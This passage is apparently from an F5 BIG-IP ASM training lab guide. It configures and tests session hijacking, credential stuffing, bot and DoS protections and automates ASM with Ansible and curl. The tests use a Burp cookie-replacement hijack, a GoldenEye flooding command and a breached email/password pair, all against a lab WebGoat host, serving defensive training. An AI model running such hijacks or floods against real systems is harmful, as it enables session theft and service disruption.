2. Click on the select all checkbox to the far left of the filter bar then Delete Requests or if given the option Delete all Requests. This will make it easier to review the logs from the next step.

3. In Firefox open a private browsing window and navigate to http://10.1.10.145/WebGoat/login, then login to the WebGoat app with the credentials f5student / password .

   

4. Return to the BIG-IP interface.

5. Deselect the checkbox and click the refresh button.

6. Click on the most recent log entry. You should now see that the username that submitted the request is clearly identified in the log.

   

7. Click the drop-down next to the username field and you should be given 3 options. Enable “Log All Requests” and click change.

   

   Note

   Since we are already logging all requests, this will not affect the logging per say, but will allow us to demonstrate the associated reporting features in ASM without blocking access to our lab client.

8. Navigate to Reporting -> Application -> Session Tracking Status. You should now see that the user f5student appears in the tracking list. If you were to click “View Requests” you would be taken to only the requests made by that user. You may also use this page to release the user from Session Tracking. These features are useful for forensic purposes as well as blocking access to applications by Device-ID, Username, etc.

9. Finally, select the f5student entry in the list and click release, then close the private browsing window.

   This concludes Section 2.1

Task 1 - Configure Session Hijacking Protection¶

1. Open the BIG-IP interface in Firefox and navigate to Security -> Application Security -> Sessions and Logins -> Session Tracking.

2. Click the checkbox to enable Detect Session Hijacking by Device ID Tracking and click Save. Then, follow the link to Learning and Blocking Settings.

   

3. Change the enforcement mode to Blocking.

4. Expand the Sessions and Logins section and select Alarm and Block for ASM Cookie Hijacking, then click Save.

5. Click Apply Policy then click OK.

Task 2 - Test Session Hijacking Protection¶

1. From the jumphost desktop, launch Burp Suite using the icon on the desktop. If you are prompted to update Burp, ignore this pop-up by clicking “Close”.

2. Select Temporary Projects and click Next.

3. Leave Defaults checked and click “Start Burp”

4. Select the “Proxy” tab and then turn intercept off.

   

5. Close all running instances of Chrome.

6. Run google-chrome-stable --incognito --proxy-server="http://127.0.0.1:8080" in the same or a different terminal.

7. Open the WebGoat login page (http://10.1.10.145/WebGoat/login) in Chrome but do not log in.

8. Open a new private browsing window in Firefox, then type ctrl+shift+i to open inspector, and click the network tab.

9. Navigate to WebGoat (in Firefox) at http://10.1.10.145/WebGoat/login and refresh the page 12 times.

10. Login to WebGoat (in Firefox).

11. Find the 200 request for start.mvc in the network debugging window and click on it. It should look like this:

    

    The request and response headers should then appear to the right.

12. Click Raw headers, highlight the entire Cookies: and DNT: sections and copy them to the clipboard.

13. Go back to Chrome and refresh the WebGoat login page 12 times to generate some traffic.

14. Go back to burp and re-enable intercept.

15. Go back to Chrome and go to http://10.1.10.145/WebGoat/start.mvc#lesson/WebGoatIntroduction.lesson (avoid copying and pasting as you’ll loose your cookie data).

16. Go back to burp and quickly replace the cookie and DNT headers in the dialog with the one in your clipboard, then click Forward several times until the button turns grey.

    

17. Disable intercept in burp.

18. Click refresh in Chrome if necessary (sometimes more than one is required). You should get an ASM block page.

19. Return to the BIG-IP and navigate back to Security -> Event Logs -> Application -> Requests. You should see one or more illegal requests.

20. Click on the most recent illegal request, click all details and make note of the attributes (particularly the DeviceID):

    

21. If you click on ASM Cookie Hijacking you should also see the following explanation:

    

22. Now click the magnifying glass in the upper left corner of the log frame and use the search feature find a legal request from f5student. ASM’s session tracking capabilities extend to search as well.

    

23. Compare the device IDs in this request vs the illegal request we just looked at. They should be different:

    

    Note

    The Device ID is essentially a fingerprint computed from a number of different browser and system attributes. They are unique identifiers that do not depend on browser session data. ASM uses these computed values to uniquely identify clients and tie them to user and session data. In this exercise we triggered an ASM Cooking Hijacking violation by replacing the cookies in the HTTP request with those of an existing valid session. ASM was able to detect this because the cookie data did not match the Device ID of the new browser.

24. If this were a production configuration, we would likely enable the blocking settings back on the Session Tracking page so that these attacks would not be allowed to continue, but for the purposes of maintaining access to the lab environment we’ve elected not to do so. Feel free to circle back and explore these options at the end of the lab:

    

25. Please close any instances of Burp and Chrome before continuing.

This Concludes Section 2.2.

Task 1 - Configure Credential Stuffing Detection¶

1. Open the BIG-IP interface in Firefox.

2. Navigate to Security -> Application Security -> Anomaly Detection -> Brute Force Attack Prevention and click Create.

   Note

   ASM has a number of brute force attack detection capabilities that are beyond the scope of this exercise. Take some time to examine some of the other options as you work through this lab. For more information see: https://support.f5.com/kb/en-us/products/big-ip_asm/manuals/product/asm-implementations-13-1-0/6.html .

3. Select the login page we created in Lab 2.1.

   

4. Configure Credential Stuffing detection within the Distributed Brute Force Protection Section as follows:

   

5. Click Create .

6. Click Apply Policy, then click OK .

Task 2 - Test Credential Stuffing Detection¶

1. Open a new Private Browsing window in Firefox .

2. Go to the to WebGoat login page at http://10.1.10.145/WebGoat/login but do not login as f5student .

3. Attempt to login using the username demo33@fidnet.com and password mountainman01. On the second attempt, you should immediately be challenged via CAPTCHA because this username/password combination is present in the credential stuffing database.

4. Solve the CAPTCHA(s) and continue.

5. Examine the most recent illegal request in the event log:

   

   Take note of the username field. The request was blocked as a brute force attack.

6. Click the Brute force: Maximum Login Attempts are exceeded header at the top of the event window:

   

   The message indicates the number of login attempts that matched the internal database.

7. Now check out the reporting under Event Logs -> Application -> Brute Force Attacks:

   

8. Click on one of the attack entries to get some more detail about the attack:

   

9. For fun, head over to https://haveibeenpwned.com/ and put in the email address of the account we used in the lab to get some details. It may also be interesting to put in your own account(s) to see if any of your credentials have been breached. You could also try some of your old username/password combinations against the credential stuffing database on the F5. While on the main page explore some of the breach data on the bottom to get a sense of how big this problem is.

   Note

   The credential stuffing feature is considered Early Access in version 13.1 and the database is not yet being updated regularly. You are advised to seek guidance from your F5 SE before deploying this capability.

10. In order to release any blocking that’s currently in place, navigate to Security -> Application Security -> Anomaly Detection -> Brute Force Attack Prevention and Delete the Brute Force configuration we created previously.

11. Click Apply Policy then click OK.

This concludes section 3.

Task 1 - Configure DataGuard¶

1. From within your existing ASM policy (Lab2), navigate to Security -> Application Security -> Data Guard.

2. Click the checkbox to enable DataGuard, then click Save.

   

3. Navigate to Security -> Application Security -> Policy Building -> Learning and Blocking Settings.

4. Use the search box to find the Data Guard section and disable blocking:

   

5. Click Save.

6. Click Apply Policy then click OK.

Task 2 - Test DataGuard¶

1. Open a new private browsing window in Firefox and login to WebGoat at http://10.1.10.145/WebGoat/login.

2. Click Cross Site Scripting in the WebGoat menu then click 13.

   

3. Scroll down until you see the Add Comment field. Then type in something that looks like a social security number, like 123-45-6789 for example.

4. Note that the value you just entered has been obfuscated:

   

5. Try entering something like Hello World! to see the difference.

   

6. Now try a fake credit card number like 4111111111111111. That should also be obfuscated:

   

   Note

   You can also use PCRE to define custom patterns for obfuscation. Feel free to experiment with this as it can have interesting consequences for the application (intentional or otherwise).

7. When you’re finished, return to Local Traffic -> Virtual Servers -> asm_vs -> Security Tab -> Policies and disable your ASM policy in preparation for the next module.

This concludes section 4.

Task 1 - Create a Security Policy¶

1. Open Firefox and navigate to the BIG-IP management interface. For the purposes of this lab you can find it at https://10.1.1.245/ or by clicking on the bigip shortcut in Firefox.

2. Login to the BIG-IP.

3. Create a new ASM policy by navigating to Security -> Application Security -> Security policies.

4. Click Create New Policy, fill in the page as follows, and then click create policy as shown below.

   

5. Once the policy is created, go to Security -> Application Security -> Vulnerability Assessments -> Settings.

6. Select WhiteHat Sentinel from the dropdown list.

   

   Note

   It’s worth mentioning that ASM and Sentinel have more advanced integrations that we will not explore here, for this reason the Site Name and API Key are not used. This is mostly due to the logistics of procuring Sentinel accounts for all students attending this lab. This additional functionality provides an API key will allow you to pull in scan data directly from Sentinel into ASM as well as share ASM site mapping data back to Sentinel in order to improve scanning capabilities.

Task 2 - Import the Scan Data¶

1. Select the Vulnerabilities tab at the top:

   

2. Click the import button:

   

3. Import the vuln.xml file from /home/f5student/Agility2018/ASM341 .

   

4. The next screen would allow you to select findings associated with a specific domain which would be useful in a production environment where the scanner output may contain findings for more than one application. For the purposes of our lab, ensure all domains are selected and click import once more.

   

5. You’ll then be greeted by a list of vulnerability types and an indication of whether or not they are resolvable by ASM:

   

6. Scroll down and select SQL Injection from the bottom then click on the first Vulnerability ID. You’ll be shown more details about the specific vulnerability such as the relevanit URL and Parameter where the vulnerability is present (as in this case).

   

Task 3 - Remediate some Vulnerabilities¶

1. Select the checkbox at the top to select all of the SQL injection vulnerabilities and click resolve. Note that there are a number of other options including “Resolve and Stage” which would put the changes into staging for further evaluation.

   

2. ASM then provides a list of the changes it’s about to make. Review the changes and click resolve.

   

3. You’ll notice that the vulnerabilities you selected are now marked mitigated.

   

Task 4 - Review the Output¶

1. Now navigate to Security -> Application Security -> Parameters -> Parameters List and you’ll see that the ASM policy has been populated for you.

   

2. Now return to the Vulnerabilities dialog and explore some of the other items if you wish. Hint: You can utilize Tree View under Security -> Application Security -> Policy -> Tree View to get a summary of what’s in the policy. Be sure you’ve selected the correct security policy in the dropdown.

   Note

   Data from a vulnerability scan can be a great way to get an ASM policy up and running quickly but you should consider that there may be vulnerabilities in the application beyond the reach of the scanner. It is therefore a good idea in many instances to enable the Automatic Policy Builder after policy creation to help refine the policy and tighten security over time.

This concludes section 5.

Task 1 - Configuring Bot Defense¶

1. Browse to the BIGIP management console.

2. Create a new Logging profile for Bot defense by navigating to Security -> Event Logs -> Logging Profiles and clicking Create.

3. Configure as below and click Finished:

   

4. Navigate to Local Traffic -> Virtual Servers -> asm_vs

5. Click the Security Tab then click Policies

6. Find the BotProtection Log Profile that we just created and assign it to the virtual server by clicking the “<<” button, then clicking Update.

   

7. Create a DoS profile by by navigating to Security -> DoS Protection -> Dos Profiles then clicking the Create button.

   

8. Name the profile “module3” and click Finished.

   

9. Click the profile you just created to configure it.

   

10. Select the Application Security tab.

    

11. Click Edit, followed by the Enabled checkbox to turn on Bot Detection.

    

    

12. Let’s configure the types of bot protection that offer the best bang for the buck, starting with Signatures. Click the Bot Signatures tab and click edit.

    

13. Now click the Enabled checkbox. You’ll see we can group bots by category or can select them uniquely.

    

14. Click Edit to explore the settings further. Try to resist the urge to modify any settings until the end of the lab, the defaults will serve us well.

15. For complete protection, let’s go ahead and enable Proactive Bot Defense as well. Click on the Proactive Bot Defense tab, click Edit.

16. Change the dropdown to Always.

    

17. Change the Grace Period to 20 seconds.

    

18. Click Update to save changes.

19. Now let’s bind this DoS policy to a Virtual Server. Navigate to Local Traffic -> Virtual Servers -> Virtual Server List and select ‘asm_vs’.

20. Click on the Security tab and select Policies.

21. Enable the module3 DoS Protection profile.

    

22. Click Update.

    Note

    Proactive Bot Defense and other anti-bot capabilities found in the DoS profile do not actually require an ASM policy to implement. While they are technically part of ASM, layer 7 DoS profiles are much lighter weight and execute before a security policy would.

Task 2 - Simulating Bot Traffic¶

1. Now that we have a DoS profile in place, lets test it!

2. Open a command prompt on your jumpbox.

   

3. Execute the following command a few times:

   python /opt/goldeneye.py http://10.1.10.145/WebGoat/login -d -w 50 -s 200
   

   Note

   You’ll get errors from GoldenEye as Proactive Bot Defense takes action against it. This is expected behavior.

4. Wait a few minutes for traffic generation and logging.

5. In the BIG-IP WebUI, Navigate to Security -> Event Logs -> Bot Defense -> Requests .

6. Review the attacks detected by ASM (hint: you’ll have to scroll all the way down to scroll right or left if you have lower resolution display).

   
   

   Can you tell what action was taken and why? (hint: scroll right)

   

Task 3 - Custom logging with iRules¶

Lets say for a minute you wanted to customize your Bot Defense logging. iRules make this easy.

1. Navigate to Local Traffic -> iRules -> iRule List then click Create.

2. Paste the following code block into the new iRule and call it bots.

    when BOTDEFENSE_ACTION {
      set log "BOTDEFENSE:"
      append log " uri [HTTP::uri]"
      append log " cs_possible [BOTDEFENSE::cs_possible]"
      append log " cs_allowed [BOTDEFENSE::cs_allowed]"
      append log " cs_attribute(device_id) [BOTDEFENSE::cs_attribute device_id]"
      append log " cookie_status [BOTDEFENSE::cookie_status]"
      append log " cookie_age [BOTDEFENSE::cookie_age]"
      append log " device_id [BOTDEFENSE::device_id]"
      append log " support_id [BOTDEFENSE::support_id]"
      append log " previous_action [BOTDEFENSE::previous_action]"
      append log " previous_support_id [BOTDEFENSE::previous_support_id]"
      append log " previous_request_age [BOTDEFENSE::previous_request_age]"
      append log " bot_signature [BOTDEFENSE::bot_signature]"
      append log " bot_signature_category [BOTDEFENSE::bot_signature_category]"
      append log " captcha_status [BOTDEFENSE::captcha_status]"
      append log " captcha_age [BOTDEFENSE::captcha_age]"
      append log " default action [BOTDEFENSE::action]"
      append log " reason \"[BOTDEFENSE::reason]\""
      log local0.info $log
   }
   

   

3. Navigate to Local Traffic -> Virtual Servers -> asm_vs and click the Resources Tab.

4. Click the Manage button next to iRules.

   

5. Add the iRule to the virtual server by selecting it and clicking the << button, then clicking Finished.

   

   

6. Launch Goldeneye again with the following command (run it a few times in a row):

   python /opt/goldeneye.py http://10.1.10.145/WebGoat/login -d -w 50 -s 200
   

7. View the Local Traffic log under System -> Logs -> Local Traffic:

   

8. Now lets say we only wanted to see the attacking IP address and the reason. Modify the iRule so it looks like the one below by commenting out the lines you’re not interested in (you could also remove them):

      when BOTDEFENSE_ACTION {
       set log "BOTDEFENSE:"
       append log " Attacking_IP [IP::client_addr] ->"
       #append log " uri [HTTP::uri]"
       #append log " cs_possible [BOTDEFENSE::cs_possible]"
       #append log " cs_allowed [BOTDEFENSE::cs_allowed]"
       #append log " cs_attribute(device_id) [BOTDEFENSE::cs_attribute device_id]"
       #append log " cookie_status [BOTDEFENSE::cookie_status]"
       #append log " cookie_age [BOTDEFENSE::cookie_age]"
       #append log " device_id [BOTDEFENSE::device_id]"
       #append log " support_id [BOTDEFENSE::support_id]"
       #append log " previous_action [BOTDEFENSE::previous_action]"
       #append log " previous_support_id [BOTDEFENSE::previous_support_id]"
       #append log " previous_request_age [BOTDEFENSE::previous_request_age]"
       #append log " bot_signature [BOTDEFENSE::bot_signature]"
       #append log " bot_signature_category [BOTDEFENSE::bot_signature_category]"
       #append log " captcha_status [BOTDEFENSE::captcha_status]"
       #append log " captcha_age [BOTDEFENSE::captcha_age]"
       #append log " default action [BOTDEFENSE::action]"
       append log " reason \"[BOTDEFENSE::reason]\""
       log local0.info $log
   }
   

   

9. Run the attack again, then refresh the logs to see the difference.

   Note

   These iRules could generate a lot of noise and may not be appropriate for production use without some filtering or rate limiting.

   Note

   In this lab we used iRules to customize Bot Defense logging, but it can also be used to modify Bot Defense behavior. For more information see https://devcentral.f5.com/wiki/iRules.BOTDEFENSE__action.ashx.

10. Remove the iRule and DoS Profile from the Virtual Server before you continue.

This concludes module 3.

Task 1 - Using Ansible to create a ASM Policy¶

All scripts in this module are run from the cli (Terminal Emulator icon on the desktop).

Run the following command to create an ASM policy named ansible1 (this may take a couple of minutes):

ansible-playbook /etc/ansible/playbooks/ansible1.yaml -i /etc/ansible/inventory/  -vvv

Go to the Bigip WebUI and navigate to Security->Application Security->Security Policies->Policies List

You should now see a policy named ansible1

Inspect the policy

Ansible Configuration Explained

First ansible must know which hosts to apply the configuration, here we have defined a group called “bigips”.

ansible1.yaml:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

---

#### This playbook creates a ASM policy named ansible1

- name: create ansible1 policy
  hosts: bigips
  connection: local
  gather_facts: False
  environment:
      F5_SERVER: "{{ ansible_ssh_host }}"
      F5_USER: "{{ bigip_user }}"
      F5_PASSWORD: "{{ bigip_password }}" 
      F5_SERVER_PORT: "{{ bigip_port }}"
      F5_VALIDATE_CERTS: "{{ validate_certs }}"
 
  tasks:
    - name: Create ASM policy, compact XML file
      bigip_asm_policy:
        name: ansible1
        template: SharePoint 2007 (http)

  post_tasks:
    - name: Save the running BIG-IP configuration to disk
      bigip_config:
        save: True
      register: result

The group bigips is pulled from /etc/ansible/inventory/hosts, here we only have one host defined, more can be added under the [bigips] stanza.

hosts:

1
2

[bigips]
bigip01

The environment variables are pulled from /etc/ansible/inventory/groups_vars/bigips/all.yaml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

---

#### This playbook creates a ASM policy named ansible1

- name: create ansible1 policy
  hosts: bigips
  connection: local
  gather_facts: False
  environment:
      F5_SERVER: "{{ ansible_ssh_host }}"
      F5_USER: "{{ bigip_user }}"
      F5_PASSWORD: "{{ bigip_password }}" 
      F5_SERVER_PORT: "{{ bigip_port }}"
      F5_VALIDATE_CERTS: "{{ validate_certs }}"
 
  tasks:
    - name: Create ASM policy, compact XML file
      bigip_asm_policy:
        name: ansible1
        template: SharePoint 2007 (http)

  post_tasks:
    - name: Save the running BIG-IP configuration to disk
      bigip_config:
        save: True
      register: result

all.yaml:

1
2
3
4
5

bigip_user: admin
bigip_password: ****** 
bigip_port: "443"
bigip_partition: "Common"
validate_certs: "false"

In line 18, the bigip_asm_policy directive is used to tell ansible we are going to modify/create a policy. Line 19 is the name of the policy, line 20 is the Rapid Deployment template that we will use.

ansible1.yaml:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

---

#### This playbook creates a ASM policy named ansible1

- name: create ansible1 policy
  hosts: bigips
  connection: local
  gather_facts: False
  environment:
      F5_SERVER: "{{ ansible_ssh_host }}"
      F5_USER: "{{ bigip_user }}"
      F5_PASSWORD: "{{ bigip_password }}" 
      F5_SERVER_PORT: "{{ bigip_port }}"
      F5_VALIDATE_CERTS: "{{ validate_certs }}"
 
  tasks:
    - name: Create ASM policy, compact XML file
      bigip_asm_policy:
        name: ansible1
        template: SharePoint 2007 (http)

  post_tasks:
    - name: Save the running BIG-IP configuration to disk
      bigip_config:
        save: True
      register: result

Starting with line 22, post tasks are declared. These are tasks that will take place after the policy has been created. Here we will save the policy to disk (otherwise it is only in the running config).

ansible1.yaml:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

---

#### This playbook creates a ASM policy named ansible1

- name: create ansible1 policy
  hosts: bigips
  connection: local
  gather_facts: False
  environment:
      F5_SERVER: "{{ ansible_ssh_host }}"
      F5_USER: "{{ bigip_user }}"
      F5_PASSWORD: "{{ bigip_password }}" 
      F5_SERVER_PORT: "{{ bigip_port }}"
      F5_VALIDATE_CERTS: "{{ validate_certs }}"
 
  tasks:
    - name: Create ASM policy, compact XML file
      bigip_asm_policy:
        name: ansible1
        template: SharePoint 2007 (http)

  post_tasks:
    - name: Save the running BIG-IP configuration to disk
      bigip_config:
        save: True
      register: result

Why Ansible and Limitations of the F5 ASM Ansible module

More information on F5’s ansible module can be found here F5 and Ansible On GitHub

F5’s SYS and LTM Ansible module are more feature rich (close to covering all features), the ASM module is currently limited to policy import, activation/deactivation and creation. Over time this will change as F5 has a strong partnership with Ansible.

Current F5 ASM Ansible Capabilities

Policy Activation/Deactivation

Blank Policy Creation

XML Policy Import

Binary Policy Import

Policy Creation using Application-Ready Templates

Task 1 - Explore the API using curl¶

All scripts in this module are run from the cli (Terminal Emulator icon on the desktop).

Run the following command (don’t forget to use the correct password):

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies/

The JSON output (#1) (truncated) should look something similar to:

{"kind":"tm:asm:policies:policycollectionstate","selfLink":"https://localhost/mgmt/tm/asm/policies?ver=13.1.0","totalItems":1,"items":[{"plainTextProfileReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/plain-text-profiles?ver=13.1.0","isSubCollection":true},"dataGuardReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/data-guard?ver=13.1.0"},"createdDatetime":"2018-05-21T04:30:17Z","databaseProtectionReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/database-protection?ver=13.1.0"},"csrfUrlReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/csrf-urls?ver=13.1.0","isSubCollection":true},"cookieSettingsReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/cookie-settings?ver=13.1.0"},"versionLastChange":" Security Policy /Common/ansible1 [add] { audit: policy = /Common/ansible1, username = admin, client IP = 10.1.1.51 }","name":"ansible1"

Not terribly easy to read, however before working on the output readability, the curl options deserve some explanation.

curl -k -u admin:password -X GET https://10.1.1.245/mgmt/tm/asm/policies/

-k: This option tells curl to not verify the server’s ssl certificate, since we are connected to a BIG-IP with an untrusted cert signed by its own CA.

curl -k -u admin:password -X GET https://10.1.1.245/mgmt/tm/asm/policies/

-u: Specifies the logon credentials. A “:” is used to separate the username and passsword. The user:pass are converted into a Base64 encoded authorization header. This can be seen by adding a -vto the curl command.

curl -k -u admin:password -X GET https://10.1.1.245/mgmt/tm/asm/policies/

-X: The HTTP method/verb, since data is being retrieved, GET is used

curl -k -u admin:password -X GET https://10.1.1.245/mgmt/tm/asm/policies/

Lastly the full url to the resource.

Now run:

curl -sk -u admin:password -X GET https://10.1.1.245/mgmt/tm/asm/policies  | sed 's/,/\'$'\n/g'

The JSON output (#2) (truncated) is now more readable

{"kind":"tm:asm:policies:policycollectionstate"
"selfLink":"https://localhost/mgmt/tm/asm/policies?ver=13.1.0"
"totalItems":1
"items":[{"plainTextProfileReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/plain-text-profiles?ver=13.1.0"
"isSubCollection":true}
"dataGuardReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/data-guard?ver=13.1.0"}
"createdDatetime":"2018-05-21T04:30:17Z"
"databaseProtectionReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/database-protection?ver=13.1.0"}
"csrfUrlReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/csrf-urls?ver=13.1.0"
"isSubCollection":true}
"cookieSettingsReference":{"link":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/cookie-settings?ver=13.1.0"}
"versionLastChange":" Security Policy /Common/ansible1 [add] { audit: policy = /Common/ansible1
username = admin
client IP = 10.1.1.51 }"
"name":"ansible1"

Lets decipher this JSON output (#2).

After the opening “{“, is the first key of collection “kind”. The value is “tm:asm:policies:policycollectionstate” which tells us we are looking the asm policies.

{"kind":"tm:asm:policies:policycollectionstate"}

Next is the key “selfLink” and its value of “https://localhost/mgmt/tm/asm/policies?ver=13.1.0”. This tells us how to get to the resource. Its usefulness may not be completely apprarent now, but will be in subsequent excercises. Also note that it is essentially the same url used in the curl command. The “?ver” is a parameter passed to the Rest API to request the use of API version 13.1.0. Ignore this for now.

{"selfLink":"https://localhost/mgmt/tm/asm/policies?ver=13.1.0"}

Next is the “totalItems” key which has value of 1, meaning there is one policy. Go to Security->Application Security->Security Policies in Web Gui to verify the value from your output of totalItems matches the number of asm security policies from the Web Gui.

Now onto the interesting stuff. The next key is “items” which is a nested collection of polciies, the actual ASM policies and their settings. Items contains multiple collections, that is why the value begins with a opening square bracket “[“. Remember if it is an array, it’s dynamic, you could have zero policies. The value of items contains the AWAF policy with links to its policy settings such as the link to the csrfUrlReference “https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/csrf-urls?ver=13.1.0”

If you followed this url, of course substituting localhost for the mgmt ip of the BIGIP, you would get the setting for the csrf Url for that policy. That is the power of the link value, you can use it to get to other configuration items. Later in the class, we will go into how to get at this data programmatically. This also demonstrates that not all configuration data can be retrieved by a single query, depending on the need, you may have to make more than one HTTP request.

What about the crazy string “u-6T62j_f0XMkjJ_s_Z-gg” after /policies/ ? This is a randomly generated (as such your value will not be u-6T62j_f0XMkjJ_s_Z-gg, rather something similar) id for the ASM security policy. In other words you cannot simply access the ansible1 security policy by going to https://10.1.1.245/mgmt/tm/asm/polciies/ansible1, you have to search for the “name” key in the JSON output until it matches ansible1 to figure which generated id is ansible1.

Wouldn’t it be nice if we had something that could do the filtering for us?

We have covered a lot, time for questions and a discussion as these are all important topics.

Task 1 - Using curl to create a ASM policy¶

Now that you’ve run a few curl commands yourself, we’ll now make it a little easier (this is an automation lab, after all).

Run the following command to create a new ASM policy “curl1” (this may take a couple of minutes). JSON will be displayed showing the policy creation and the policy’s attributes:

curl -sk -u admin:$password -X POST https://10.1.1.245/mgmt/tm/asm/policies -d '{"name":"curl1"}' | sed 's/,/\'$'\n/g'

Navigate to Security->Application Security->Security Policies->Policies List to verify the “curl1” policy was created

Before running the below command, navigate to Security->Application Security->IP Addresses->IP Address Exceptions for the “curl1” policy, noting the configuration.

Run the following command to modify the policy by adding a whitelist ip, using the policy id from the output of “curl1” policy creation:

curl -sk -u admin:$password -X POST https://10.1.1.245/mgmt/tm/asm/policies/<policyId>/whitelist-ips -H "Content-Type: application/json" -d '{"ipAddress":"165.25.76.234", "ipMask":"255.255.255.255"}'

Refresh the IP Address Exceptions to verify the whitelist ip 165.25.76.234/255.255.255.255 was added.

Notice the policy was not applied, click “Apply Policy”. Applying the policy requires a separate REST call. This will be covered in subsequent labs.

Task 1 - Server-side json filtering using uri parameters¶

Queries to ASM’s REST API yields lots of useful information, but can be a little extraneous. Fortunately, the data can be filtered.

F5 has documented a number of query parameters that can be passed into iControl REST calls in order to modify their behavior. The first set follows the OData (open data protocol) standard. The filter parameter also supports several operators.

Note that the filtering takes places on the server-side or at the BIG-IP.

$filter - filter on key/value pairs, such as name eq ansible1 which would only display the ansible1 policy. eq stands for equals

$select - without select all data is displayed, with select, one can specify which keys to display. Such as displaying only the name field, select=name

$skip - in conjunction with $top, acts as a pageanator, specifying how many objects to skip.

$top - takes a numeric value, used to display the top number of objects specified.

Yes, the dollar sign is important and necessary on these parameters. The operators you can use on these parameters are below. Note that the eq operator can only be used with the filter.

eq - equal

ne - not equal

lt - less than

le - less than or equal

gt - greater than

ge - greater than or equal

Logical Operators:

and - both conditions must be true

or - either condition can be true

not - to negate the condition

Beyond the OData parameters, there are a few custom parameters as well.

expandSubcollections - allows you to get the subcollection data in the initial request for objects that have subcollections. Examples of subcollections are any key that ends in “reference” such as whitelistIpReference as seen in lab1 of this module. The options follows the “link” to retrieve that configuration data automatically.

"whitelistIpReference": {
    "link":"https://localhost/mgmt/tm/asm/policies/ouO97l-EOX-zt3sDWA7Dag/whitelist-ips?ver=13.1.0",
    "isSubCollection": true
    },

options - allows you to add arguments to the tmsh equivalent command. An example will be shown below.

ver - This is for the specific TMOS version. Setting this parameter guarantees consistent behavior through code upgrades.

Run the following code to get just the names of the existing policies:

curl -sk -u admin:$password https://10.1.1.245/mgmt/tm/asm/policies/?\$select=name | sed 's/,/\'$'\n/g'

{"kind":"tm:asm:policies:policycollectionstate"
"selfLink":"https://localhost/mgmt/tm/asm/policies?$select=name&ver=13.1.0"
"totalItems":2
"items":[{"kind":"tm:asm:policies:policystate"
"selfLink":"https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg?ver=13.1.0"
"name":"ansible1"}
{"kind":"tm:asm:policies:policystate"
"selfLink":"https://localhost/mgmt/tm/asm/policies/r3deT9IMy0gBkM65PTVlzA?ver=13.1.0"
"name":"WebScrapingPolicy"}]}

Run the following code to filter on just the policy named “ansible1” and only the display its “name” field.

curl -sk -u admin:$password https://10.1.1.245/mgmt/tm/asm/policies?\$filter=name+eq+ansible1\&\$select=name | sed 's/,/\'$'\n/g'

{
"kind": "tm:asm:policies:policycollectionstate",
"selfLink": "https://localhost/mgmt/tm/asm/policies?$select=name&ver=13.1.0&$filter=name%20eq%20ansible1",
"totalItems": 1,
"items": [
        {
        "kind": "tm:asm:policies:policystate",
        "selfLink": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg?ver=13.1.0",
        "name": "ansible1"
        }
        ]
}

Task 1 - Client-side json filtering using jq¶

Another way to parse JSON data is to use a program called jq. jq understands json and provides another way of filtering on data. This differs from passing uri parameters in that the request retrieves all data and the filtering is done on the client-side. Of course client programs like jq can be used in conjunction with uri parameters. This lab does not cover this scenario.

Run the following command to view the output of all ASM policies filtered through jq:

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies | jq

The output (truncated) will look something similar to:

{
  "kind": "tm:asm:policies:policycollectionstate",
  "selfLink": "https://localhost/mgmt/tm/asm/policies?ver=13.1.0",
  "totalItems": 2,
  "items": [
    {
      "plainTextProfileReference": {
      "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/plain-text-profiles?ver=13.1.0",
      "isSubCollection": true
      },
      "dataGuardReference": {
        "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/data-guard?ver=13.1.0"
      },
      "createdDatetime": "2018-05-21T04:30:17Z",
      "databaseProtectionReference": {
        "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/database-protection?ver=13.1.0"
      },
      "csrfUrlReference": {
        "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/csrf-urls?ver=13.1.0",
        "isSubCollection": true
      },
      "cookieSettingsReference": {
        "link": "https://localhost/mgmt/tm/asm/policies/u-6T62j_f0XMkjJ_s_Z-gg/cookie-settings?ver=13.1.0"
      },
      "versionLastChange": " Security Policy /Common/ansible1 [add] { audit: policy = /Common/ansible1, username = admin, client IP = 10.1.1.51 }",
      "name": "ansible1",

jq really helps to show the JSON structure and different layers, which helps give you an idea of how to access different items.

Recall from lab1 that there are 2 items (we know this from the totalItems value of 2, which represents “ansible1” and “curl1”) and that each item represents a policy.

To display the first policy (index starts at 0), run the following command:

curl -sk -u admin:$password -X GET https://10.1.1.245/mgmt/tm/asm/policies | jq .items[0]

The output should look similar to, which is the entire configuration for the first policy, in this case “ansible1”:

{
  "plainTextProfileReference": {
